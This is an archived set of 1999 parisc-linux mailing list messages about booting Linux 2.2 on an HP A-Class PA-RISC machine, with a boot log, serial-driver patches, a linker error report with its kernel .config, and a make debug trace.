---- Starting sash ... -------------------------------------------------

Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 001083-03194b
System IP Address 193.175.24.80
Server IP Address 193.175.24.67

Boot IO Dependent Code (IODC) revision 2


SOFT Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Sat Oct 16 03:23:41 METDST 1999 by tsbogend@parisc

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
No ramdisks available.
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000B1000
exec_dsize: 0007F000
exec_dmem : C0088000
exec_tfile: 00039000
exec_tsize: 00077008
exec_tmem : C0010000
Code at 0x00010000, size=0x00077008
Data at 0x00088000, size=0x0007F000
BSS  at 0x00107000.

Transferring control to kernel. (At entry point 0x00010000)
The Kernel has started...
FP CCR was 0xc0, will be set to 0xc0
Model: Staccato L2 180 (A Class 180) with 768 MB RAM.
CPU(s): 1 x PA7300LC (PCX-L2, Velociraptor) at 180.000000 MHz
Kernel-stack at C008A000, Size 8192 kB.
Available virtual mapped memory starts at 0xC01355C0 and ends at 0xF0000000.
Searching for devices in PDC firmware... a newer box...
Found devices:
0. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
1. Phantom PseudoBC GSC+ Port (7) at 0xffc01000, versions 0x505, 0x0, 0x0, 0x0, 0x0
2. HP HSC-PCI Cards (4) at 0xfff84000, versions 0x4, 0x0, 0x9d, 0x0, 0x80
3. Staccato L2 180 (A Class 180) (0) at 0xfffbe000, versions 0x516, 0x0, 0x4, 0x0, 0x81
4. Staccato L2 180 Memory (1) at 0xfffbf000, versions 0x8b, 0x0, 0x9, 0x0, 0x0
5. Staccato 180 Lasi (11) at 0xffd00000, versions 0x5f, 0x0, 0x81, 0x0, 0x0
6. Staccato 180 Core LAN RS-232 (10) at 0xffd05000, versions 0x5f, 0x0, 0x8c, 0x0, 0x0
7. Staccato 180 Core SCSI (10) at 0xffd06000, versions 0x5f, 0x0, 0x82, 0x0, 0x0
8. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 9 devices.
Linux version 2.2.12 (tsbogend@parisc) (gcc version egcs-2.91.66 19990314 (egcs-1.1.2 release)) #88
 Sat Oct 16 12:33:36 METDST 1999
initrd: c008e000-c00e5800
command_line: /stand/vmlinux HOME=/ console=ttyS0 TERM=LINUX initrd=0

free_area_init: c013e000 c2000000
mem_map=c013e000
Calibrating delay loop... 239.86 BogoMIPS
Memory: 14788k available (476k kernel code, 1056k data, 64k init) [c0000000,c1000000]
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Interrupt  3( 3+ 0)
Starting lasi serial at 0xffd05000
ttyS00 at port 0xffd05800 (irq = 261) is a 16450
Dino version 3.x (card mode) found at 0xfff84000
Scanning PCI bus 0
Found a PCI device, and the vendor is 0x1011, device 0x0009
Found a PCI device, and the vendor is 0x1011, device 0x0009
dino_fixup_bus(0xc019b0a0) bus 0 sysdata 0xc019a0e0
Scan for bus 0 returned 0
Dino version 3.1 (bridge mode) found at 0xfff80000
Scanning PCI bus 1
Found a PCI device, and the vendor is 0x1011, device 0x0019
dino_fixup_bus(0xc019b120) bus 1 sysdata 0xc019a1a0
Scan for bus 1 returned 1
**** NOW SWITCHED TO SERIAL CONSOLE ! ****
Linux NET4.0 for Linux 2.2
Based upon Swansea University Computer Society NET3.039
Starting kswapd v 1.2 
Serial driver version 4.90 (1999-09-22) with no serial options enabled
pty: 256 Unix98 ptys configured
rd_init
RAM disk driver initialized:  16 RAM disks of 4096K size
initrd_load
rd_load_image
opening initrd
identify_ramdisk_image
ext2sb->s_magic: 000053ef
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 350 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/done.
initrd_release
VFS: Mounted root (ext2 filesystem).
stat c0104794 type 0
fd 0 opened
It's for the PA-RISC!
It's executable!
It has an appropriate version!
The checksum checks out!
Well, it *smells* like a valid SOM executable
(start_brk) 40017000
(end_code) 0003c000
(start_code) 00001000
(end_data) 40008000
(start_stack) 2000002c
(brk) 40017000
Stand-alone shell (version 2.1)> 



-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Start sash ...
Date: Sat, 16 Oct 1999 22:12:53 +0200
Lines: 140
Approved: news@gmane.org
Message-ID: <19991016221253.A1893@alpha.franken.de>
References: <19991016124656.A811@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619793 14277 80.91.229.3 (22 Nov 2014 01:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Oct 16 14:13:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA10531
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Oct 1999 14:13:45 -0600
Original-Received: (qmail 3244 invoked by uid 15267); 16 Oct 1999 20:14:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3237 invoked from network); 16 Oct 1999 20:14:34 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 16 Oct 1999 20:14:34 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m11caDp-0027XyC@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sat, 16 Oct 1999 21:14:33 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m11caDh-002OnHC; Sat, 16 Oct 99 22:14 MET DST
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id WAA01913
	for parisc-linux@thepuffingroup.com; Sat, 16 Oct 1999 22:12:53 +0200
X-Mailer: Mutt 0.95.4us
In-Reply-To: <19991016124656.A811@alpha.franken.de>; from Thomas Bogendoerfer on Sat, Oct 16, 1999 at 12:46:56PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10021

On Sat, Oct 16, 1999 at 12:46:56PM +0200, Thomas Bogendoerfer wrote:
> Well, it *smells* like a valid SOM executable
> (start_brk) 40017000
> (end_code) 0003c000
> (start_code) 00001000
> (end_data) 40008000
> (start_stack) 2000002c
> (brk) 40017000
> Stand-alone shell (version 2.1)> 

(start_stack) 2000002c
(brk) 40017000
Stand-alone shell (version 2.1)
> help
alias      [name [command]]
cd         [dirname]
-chgrp     gid filename ...
-chmod     mode filename ...
-chown     uid filename ...
-cmp       filename1 filename2
-cp        srcname ... destname
-dd        if=name of=name [bs=n] [count=n] [skip=n] [seek=n]
-echo      [args] ...
-ed        [filename]
exec       filename [args]
exit       
-grep      [-in] word filename ...
help       [word]
-kill      [-sig] pid ...
-ln        [-s] srcname ... destname
-ls        [-lid] filename ...
-mkdir     dirname ...
-mknod     filename type major minor
-more      filename ...
-mount     [-t type] [-r] [-m] devname dirname
-mv        srcname ... destname
-printenv  [name]
prompt     string
-pwd       
quit       
-rm        filename ...
-rmdir     dirname ...
setenv     name value
source     filename
-sync      
-tar       [xtv]f devname filename ...
-touch     filename ...
umask      [mask]
-umount    filename
unalias    name
-where     program
> -pwd
/
> 


Serial Interrupts are definitly not working. I'm now running the uart in 
polling mode and I had to force use 16550A mode. Below is a patchset of my
hacks.  You need a fixed posix_types.h and bitops.h, too. I haven't tested 
the cvs version, yet.

Thomas.

PS: I'll be next week at Systems in Munich. You can find me at the Linuxpark 
HP booth (hall A3, No. 404-22) during the whole week.

Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/mm/fault.c,v
retrieving revision 1.11
diff -u -r1.11 fault.c
--- arch/parisc/mm/fault.c	1999/10/14 21:08:36	1.11
+++ arch/parisc/mm/fault.c	1999/10/16 20:06:43
@@ -206,6 +208,7 @@
 	}
 
 	prot = translate_pte(*ptep);
+	prot |= 0x03000000;
 
 	pa = (pte_val(*ptep)&~4095);
 
Index: drivers/char/serial.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/char/serial.c,v
retrieving revision 1.7
diff -u -r1.7 serial.c
--- drivers/char/serial.c	1999/10/15 19:30:30	1.7
+++ drivers/char/serial.c	1999/10/16 20:06:43
@@ -1175,6 +1175,8 @@
 		goto errout;
 	}
 
+	state->type = PORT_16550A; /* no idea why type is 0 at this point */
+
 	if (!CONFIGURED_SERIAL_PORT(state) || !state->type) {
 		if (info->tty)
 			set_bit(TTY_IO_ERROR, &info->tty->flags);
Index: drivers/gecko/lasi.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/gecko/lasi.c,v
retrieving revision 1.13
diff -u -r1.13 lasi.c
--- drivers/gecko/lasi.c	1999/10/15 19:30:30	1.13
+++ drivers/gecko/lasi.c	1999/10/16 20:06:44
@@ -263,7 +263,9 @@
         serial->type = PORT_UNKNOWN; // else: PORT_16550A;
         serial->line = 0;
 	serial->port = ((unsigned int) d->hpa) + 0x800;
-        serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 5
+	serial->iomem_base = ((unsigned int) d->hpa) + 0x800;
+        // serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 5
+        serial->irq = 0;
         serial->io_type = SERIAL_IO_GSC;
         serial->flags = ASYNC_SKIP_TEST; // else autoconfig() will fail !
         serial->xmit_fifo_size = 16;
Index: init/main.c
===================================================================
RCS file: /home/cvs/parisc/linux/init/main.c,v
retrieving revision 1.23
diff -u -r1.23 main.c
--- init/main.c	1999/10/15 19:30:31	1.23
+++ init/main.c	1999/10/16 20:06:47
@@ -1425,6 +1425,7 @@
 	 */
 
 	execute_command = "/sbin/init";
+	argv_init[1] = NULL;
 	if (execute_command)
 		do_execve(execute_command,argv_init,envp_init,NULL);
 	panic("No init found.  Try passing init= option to kernel.");





-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:16:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Start sash ...
Date: Sat, 16 Oct 1999 18:17:59 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <199910170118.SAA25384@milano.cup.hp.com>
References: <19991016221253.A1893@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619793 14278 80.91.229.3 (22 Nov 2014 01:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: grundler@cup.hp.com  Sat Oct 16 19:17:33 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA11565
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Oct 1999 19:17:32 -0600
Original-Received: (qmail 31487 invoked by uid 15267); 17 Oct 1999 01:18:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31475 invoked from network); 17 Oct 1999 01:18:16 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 17 Oct 1999 01:18:16 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id VAA02428
	for <parisc-linux@thepuffingroup.com>; Sat, 16 Oct 1999 21:17:28 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id SAA25384; Sat, 16 Oct 1999 18:18:04 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 16 Oct 1999 22:12:53 PDT."
             <19991016221253.A1893@alpha.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10022

Thomas Bogendoerfer wrote:
...
> Serial Interrupts are definitly not working. I'm now running the uart in 
> polling mode and I had to force use 16550A mode. Below is a patchset of my
> hacks.  You need a fixed posix_types.h and bitops.h, too. I haven't tested 
> the cvs version, yet.

...
> Index: drivers/gecko/lasi.c
> ===================================================================
> RCS file: /home/cvs/parisc/linux/drivers/gecko/lasi.c,v
> retrieving revision 1.13
> diff -u -r1.13 lasi.c
> --- drivers/gecko/lasi.c	1999/10/15 19:30:30	1.13
> +++ drivers/gecko/lasi.c	1999/10/16 20:06:44
> @@ -263,7 +263,9 @@
>          serial->type = PORT_UNKNOWN; // else: PORT_16550A;
>          serial->line = 0;
 	serial->port = ((unsigned int) d->hpa) + 0x800;
> -        serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 
>   5
> +	serial->iomem_base = ((unsigned int) d->hpa) + 0x800;
> +        // serial->irq = 256 + 5;	// FIXME: lasi->region->data.irqbase + 
>   5
> +        serial->irq = 0;

The code here could use lasi_alloc_irq() to get the "right" irq number.
I added this to support lasi7xx.c (c710 SCSI macrocell Lasi).
I coded this function based on some research I did (ie not guaranteed
to be right). My conclusion was the lasi serial was on bit 26 (not 5).
I may have bits numbered from the wrong end. Either way, might be
easier to support in the long run if serial device setup used this
interface as well.

thanks,
grant

Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ld: Unsatisfied symbols: csum_partial (code)
Date: Sat, 16 Oct 1999 18:56:33 -0700
Lines: 238
Approved: news@gmane.org
Message-ID: <199910170156.SAA25411@milano.cup.hp.com>
References: <199910170118.SAA25384@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619793 14282 80.91.229.3 (22 Nov 2014 01:29:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Oct 16 19:55:52 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id TAA12143
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Oct 1999 19:55:52 -0600
Original-Received: (qmail 6114 invoked by uid 15267); 17 Oct 1999 01:56:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6107 invoked from network); 17 Oct 1999 01:56:41 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 17 Oct 1999 01:56:41 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id VAA09745
	for <parisc-linux@thepuffingroup.com>; Sat, 16 Oct 1999 21:55:54 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id SAA25411 for <parisc-linux@thepuffingroup.com>; Sat, 16 Oct 1999 18:56:34 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 16 Oct 1999 18:17:59 PDT."
             <199910170118.SAA25384@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10023


I have a "vanilla" CVS tree and am getting the following
linker error:
ld -R 0xc0010000 -N -e stext arch/parisc/kernel/head.o arch/parisc/kernel/init_task.o init/main.o init/version.o \
        arch/parisc/boot/ramdisk.o arch/parisc/kernel/kernel.o arch/parisc/mm/mm.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o \
        fs/filesystems.a \
        net/network.a \
        drivers/block/block.a drivers/char/char.a drivers/gecko/gecko.a  drivers/net/net.a drivers/scsi/scsi.a drivers/pci/pci.a \
        /linux/linux/arch/parisc/lib/lib.a /linux/linux/lib/lib.a /linux/linux/arch/parisc/lib/lib.a \
        -o vmlinux
ld: Unsatisfied symbols:
   csum_partial (code)
   serial_console_init (code)
make[1]: *** [vmlinux-real] Error 1

Any clue what's broken?
Someone submit code recently which touched these functions?

thanks,
grant

linux/.config contents are:
grundler <2776>cat .config
#
# Automatically generated make config: don't edit
#

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Machine type
#
# CONFIG_HP_715 is not set
# CONFIG_HP_712 is not set
CONFIG_HP_ACLASS=y
# CONFIG_HP_DCLASS is not set

#
# CPU type
#
# CONFIG_PA7100 is not set
CONFIG_PA7300=y
# CONFIG_SMP is not set
# CONFIG_IODC_CONSOLE is not set
CONFIG_GECKO_DINO=y
CONFIG_GECKO_LASI=y
CONFIG_GECKO=y
CONFIG_GECKO_DINO=y
CONFIG_PCI=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# General setup
#
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
# CONFIG_BINFMT_SOM is not set
# CONFIG_BINFMT_ELF is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_BINFMT_JAVA is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_IDE is not set

#
# Please see Documentation/ide.txt for help/info on IDE drives
#
# CONFIG_BLK_DEV_HD_ONLY is not set

#
# Additional Block Devices
#
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_MD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_INITRD=y
# CONFIG_BLK_DEV_XD is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_PARIDE_PARPORT=m
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_DEV_HD is not set

#
# Networking options
#
# CONFIG_PACKET is not set
# CONFIG_NETLINK is not set
# CONFIG_FIREWALL is not set
# CONFIG_FILTER is not set
# CONFIG_UNIX is not set
# CONFIG_INET is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_BRIDGE is not set
# CONFIG_LLC is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set
# CONFIG_CPU_IS_SLOW is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CDrom)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
CONFIG_SCSI_CONSTANTS=y

#
# SCSI low-level drivers
#
CONFIG_LASI_SCSI=y

#
# Network device support
#
CONFIG_NETDEVICES=y
# CONFIG_APRICOT is not set
CONFIG_DEC_ELCP=y

#
# Character devices
#
# CONFIG_VT is not set
# CONFIG_SERIAL is not set
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_MOUSE is not set
# CONFIG_QIC02_TAPE is not set
# CONFIG_WATCHDOG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set

#
# Video For Linux
#
# CONFIG_VIDEO_DEV is not set

#
# Joystick support
#
# CONFIG_JOYSTICK is not set
# CONFIG_DTLK is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set

#
# Filesystems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
# CONFIG_EFS_FS is not set

#
# Network File Systems
#

#
# Partition Types
#
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_MAC_PARTITION is not set
# CONFIG_SMD_DISKLABEL is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_NLS is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y


Grant Grundler
Communications Infrastructure Computer Operations
+1.408.447.7253


From - Thu Nov 08 21:16:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] rebuild of 53c7xx.o
Date: Sat, 16 Oct 1999 19:25:01 -0700 (PDT)
Lines: 450
Approved: news@gmane.org
Message-ID: <199910170225.TAA25426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619794 14284 80.91.229.3 (22 Nov 2014 01:29:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:29:54 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Oct 16 20:24:20 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA12503
	for <parisc-linux@puffin.external.hp.com>; Sat, 16 Oct 1999 20:24:19 -0600
Original-Received: (qmail 11262 invoked by uid 15267); 17 Oct 1999 02:25:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11252 invoked from network); 17 Oct 1999 02:25:08 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 17 Oct 1999 02:25:08 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id TAA10917
	for <parisc-linux@thepuffingroup.com>; Sat, 16 Oct 1999 19:25:06 -0700 (PDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id TAA25426 for parisc-linux@thepuffingroup.com; Sat, 16 Oct 1999 19:25:01 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:10024

It was annoying me that 53c7xx.o was getting rebuilt on every
build....So I tried to figure out why.  The basic problem is
"dummy" target (from Rules.make?) is invoked and fails when comparing
time stamps. But I don't see where/why 53c7xx.o has dummy as a dependent.
I think fixing this should fix the problem.

Appended is relevant "make -d" output.
(The whole output is 531846 lines).
Does someone see the problem and/or know how to fix it?

thanks,
grant

...
    Considering target file `53c7xx.o'.
      Considering target file `53c7xx_d.h'.
        Considering target file `53c7xx.scr'.
         Looking for an implicit rule for `53c7xx.scr'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `53c7xx.scr.c'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `53c7xx.scr.o'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `53c7xx.scr,v'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `RCS/53c7xx.scr,v'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `RCS/53c7xx.scr'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `s.53c7xx.scr'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `SCCS/s.53c7xx.scr'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `53c7xx.scr.c'.
         Looking for a rule with intermediate file `53c7xx.scr.c'.
          Avoiding implicit rule recursion.
          Trying pattern rule with stem `53c7xx.scr'.
          Trying implicit dependency `53c7xx.scr.w'.
          Trying pattern rule with stem `53c7xx.scr.c'.
          Trying implicit dependency `53c7xx.scr.c,v'.
          Trying pattern rule with stem `53c7xx.scr.c'.
          Trying implicit dependency `RCS/53c7xx.scr.c,v'.
          Trying pattern rule with stem `53c7xx.scr.c'.
          Trying implicit dependency `RCS/53c7xx.scr.c'.
          Trying pattern rule with stem `53c7xx.scr.c'.
          Trying implicit dependency `s.53c7xx.scr.c'.
          Trying pattern rule with stem `53c7xx.scr.c'.
          Trying implicit dependency `SCCS/s.53c7xx.scr.c'.
          Trying pattern rule with stem `53c7xx.scr'.
          Trying implicit dependency `53c7xx.scr.w'.
          Looking for a rule with intermediate file `53c7xx.scr.w'.
           Avoiding implicit rule recursion.
           Avoiding implicit rule recursion.
           Trying pattern rule with stem `53c7xx.scr.w'.
           Trying implicit dependency `53c7xx.scr.w,v'.
           Trying pattern rule with stem `53c7xx.scr.w'.
           Trying implicit dependency `RCS/53c7xx.scr.w,v'.
           Trying pattern rule with stem `53c7xx.scr.w'.
           Trying implicit dependency `RCS/53c7xx.scr.w'.
           Trying pattern rule with stem `53c7xx.scr.w'.
           Trying implicit dependency `s.53c7xx.scr.w'.
           Trying pattern rule with stem `53c7xx.scr.w'.
           Trying implicit dependency `SCCS/s.53c7xx.scr.w'.
         Trying pattern rule with stem `53c7xx.scr'.
         Trying implicit dependency `53c7xx.scr.o'.
         Looking for a rule with intermediate file `53c7xx.scr.o'.
          Avoiding implicit rule recursion.
          Trying pattern rule with stem `53c7xx.scr'.
          Rejecting impossible implicit dependency `53c7xx.scr.c'.
          Trying pattern rule with stem `53c7xx.scr'.
          Trying implicit dependency `53c7xx.scr.s'.
          Trying pattern rule with stem `53c7xx.scr.o'.
          Trying implicit dependency `53c7xx.scr.o,v'.
          Trying pattern rule with stem `53c7xx.scr.o'.
          Trying implicit dependency `RCS/53c7xx.scr.o,v'.
          Trying pattern rule with stem `53c7xx.scr.o'.
          Trying implicit dependency `RCS/53c7xx.scr.o'.
          Trying pattern rule with stem `53c7xx.scr.o'.
          Trying implicit dependency `s.53c7xx.scr.o'.
          Trying pattern rule with stem `53c7xx.scr.o'.
          Trying implicit dependency `SCCS/s.53c7xx.scr.o'.
          Trying pattern rule with stem `53c7xx.scr'.
          Trying implicit dependency `53c7xx.scr.s'.
          Looking for a rule with intermediate file `53c7xx.scr.s'.
           Avoiding implicit rule recursion.
           Avoiding implicit rule recursion.
           Trying pattern rule with stem `53c7xx.scr'.
           Rejecting impossible implicit dependency `53c7xx.scr.c'.
           Trying pattern rule with stem `53c7xx.scr.s'.
           Trying implicit dependency `53c7xx.scr.s,v'.
           Trying pattern rule with stem `53c7xx.scr.s'.
           Trying implicit dependency `RCS/53c7xx.scr.s,v'.
           Trying pattern rule with stem `53c7xx.scr.s'.
           Trying implicit dependency `RCS/53c7xx.scr.s'.
           Trying pattern rule with stem `53c7xx.scr.s'.
           Trying implicit dependency `s.53c7xx.scr.s'.
           Trying pattern rule with stem `53c7xx.scr.s'.
           Trying implicit dependency `SCCS/s.53c7xx.scr.s'.
         No implicit rule found for `53c7xx.scr'.
         Finished dependencies of target file `53c7xx.scr'.
        No need to remake target `53c7xx.scr'.
        Considering target file `script_asm.pl'.
         Looking for an implicit rule for `script_asm.pl'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `script_asm.pl.c'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `script_asm.pl.o'.
         Trying pattern rule with stem `script_asm.pl'.
         Trying implicit dependency `script_asm.pl,v'.
